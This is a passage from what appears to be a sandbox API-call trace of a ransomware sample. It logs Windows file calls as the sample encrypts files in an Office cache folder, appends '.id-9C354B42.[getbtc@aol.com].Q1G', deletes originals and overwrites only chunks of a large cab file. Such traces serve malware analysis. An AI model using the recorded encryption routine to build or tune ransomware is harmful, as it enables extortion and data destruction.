Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.823] lstrlenW (lpString=".dbf") returned 4 [0047.823] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.823] lstrlenW (lpString=".1cd") returned 4 [0047.823] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.823] lstrlenW (lpString=".jpg") returned 4 [0047.823] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.823] lstrcmpiW (lpString1=".manifest", lpString2=".Q1G") returned -1 [0047.823] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0047.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.824] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1857) returned 1 [0047.824] CloseHandle (hObject=0x1f8) returned 1 [0047.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0047.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.824] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.824] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.906] GetLastError () returned 0x0 [0047.906] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x741, lpOverlapped=0x0) returned 1 [0047.925] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x750, lpOverlapped=0x0) returned 1 [0047.926] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.926] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0047.926] SetEndOfFile (hFile=0x1f0) returned 1 [0047.926] CloseHandle (hObject=0x1f0) returned 1 [0047.926] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.926] SetEndOfFile (hFile=0x1f8) returned 1 [0047.927] CloseHandle (hObject=0x1f8) returned 1 [0047.927] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.927] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0047.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.927] lstrlenW (lpString=".doc") returned 4 [0047.927] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0047.927] lstrlenW (lpString=".docx") returned 5 [0047.927] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0047.928] lstrlenW (lpString=".pdf") returned 4 [0047.928] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".xls") returned 4 [0047.928] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".xlsx") returned 5 [0047.928] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0047.928] lstrlenW (lpString=".ppt") returned 4 [0047.928] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString=".zip") returned 4 [0047.928] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".rar") returned 4 [0047.928] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".bz2") returned 4 [0047.928] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".7z") returned 3 [0047.928] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString=".dbf") returned 4 [0047.928] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString=".1cd") returned 4 [0047.928] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString=".jpg") returned 4 [0047.928] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.928] lstrlenW (lpString=".doc") returned 4 [0047.928] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".docx") returned 5 [0047.928] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0047.928] lstrlenW (lpString=".pdf") returned 4 [0047.928] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0047.928] lstrlenW (lpString=".xls") returned 4 [0047.928] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString=".xlsx") returned 5 [0047.929] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0047.929] lstrlenW (lpString=".ppt") returned 4 [0047.929] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.929] lstrlenW (lpString=".zip") returned 4 [0047.929] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString=".rar") returned 4 [0047.929] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString=".bz2") returned 4 [0047.929] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString=".7z") returned 3 [0047.929] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0047.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.929] lstrlenW (lpString=".dbf") returned 4 [0047.929] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.929] lstrlenW (lpString=".1cd") returned 4 [0047.929] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0047.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0047.929] lstrlenW (lpString=".jpg") returned 4 [0047.929] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0047.929] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0047.929] lstrlenW (lpString="msvcr90.dll") returned 11 [0047.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.930] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=655872) returned 1 [0047.930] CloseHandle (hObject=0x1f8) returned 1 [0047.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0047.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.930] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.930] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.930] GetLastError () returned 0x0 [0047.930] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0047.945] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0047.958] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.958] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.958] SetEndOfFile (hFile=0x1f0) returned 1 [0047.958] CloseHandle (hObject=0x1f0) returned 1 [0047.958] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.958] SetEndOfFile (hFile=0x1f8) returned 1 [0047.963] CloseHandle (hObject=0x1f8) returned 1 [0047.963] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.963] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.964] lstrlenW (lpString=".doc") returned 4 [0047.964] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString=".docx") returned 5 [0047.964] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.964] lstrlenW (lpString=".pdf") returned 4 [0047.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString=".xls") returned 4 [0047.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString=".xlsx") returned 5 [0047.964] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.964] lstrlenW (lpString=".ppt") returned 4 [0047.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.964] lstrlenW (lpString=".zip") returned 4 [0047.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString=".rar") returned 4 [0047.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.964] lstrlenW (lpString=".bz2") returned 4 [0047.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.964] lstrlenW (lpString=".7z") returned 3 [0047.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.964] lstrlenW (lpString=".dbf") returned 4 [0047.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.964] lstrlenW (lpString=".1cd") returned 4 [0047.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".jpg") returned 4 [0047.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".doc") returned 4 [0047.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString=".docx") returned 5 [0047.965] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.965] lstrlenW (lpString=".pdf") returned 4 [0047.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString=".xls") returned 4 [0047.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString=".xlsx") returned 5 [0047.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.965] lstrlenW (lpString=".ppt") returned 4 [0047.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".zip") returned 4 [0047.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString=".rar") returned 4 [0047.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.965] lstrlenW (lpString=".bz2") returned 4 [0047.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.965] lstrlenW (lpString=".7z") returned 3 [0047.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".dbf") returned 4 [0047.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".1cd") returned 4 [0047.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0047.965] lstrlenW (lpString=".jpg") returned 4 [0047.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.966] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0047.966] lstrlenW (lpString="OfficeLR.cab") returned 12 [0047.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.966] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=14127746) returned 1 [0047.966] CloseHandle (hObject=0x1f8) returned 1 [0047.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0047.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.966] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.967] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.967] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.967] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.972] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.972] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.975] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.975] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.975] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.990] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.990] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.010] SetEndOfFile (hFile=0x1f8) returned 1 [0048.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0048.015] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.015] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.015] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.015] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.263] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.263] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.265] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0048.297] CloseHandle (hObject=0x1f8) returned 1 [0048.297] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.297] lstrlenW (lpString=".doc") returned 4 [0048.297] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.297] lstrlenW (lpString=".docx") returned 5 [0048.297] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.297] lstrlenW (lpString=".pdf") returned 4 [0048.297] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.297] lstrlenW (lpString=".xls") returned 4 [0048.297] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.297] lstrlenW (lpString=".xlsx") returned 5 [0048.297] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.297] lstrlenW (lpString=".ppt") returned 4 [0048.297] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".zip") returned 4 [0048.298] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString=".rar") returned 4 [0048.298] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString=".bz2") returned 4 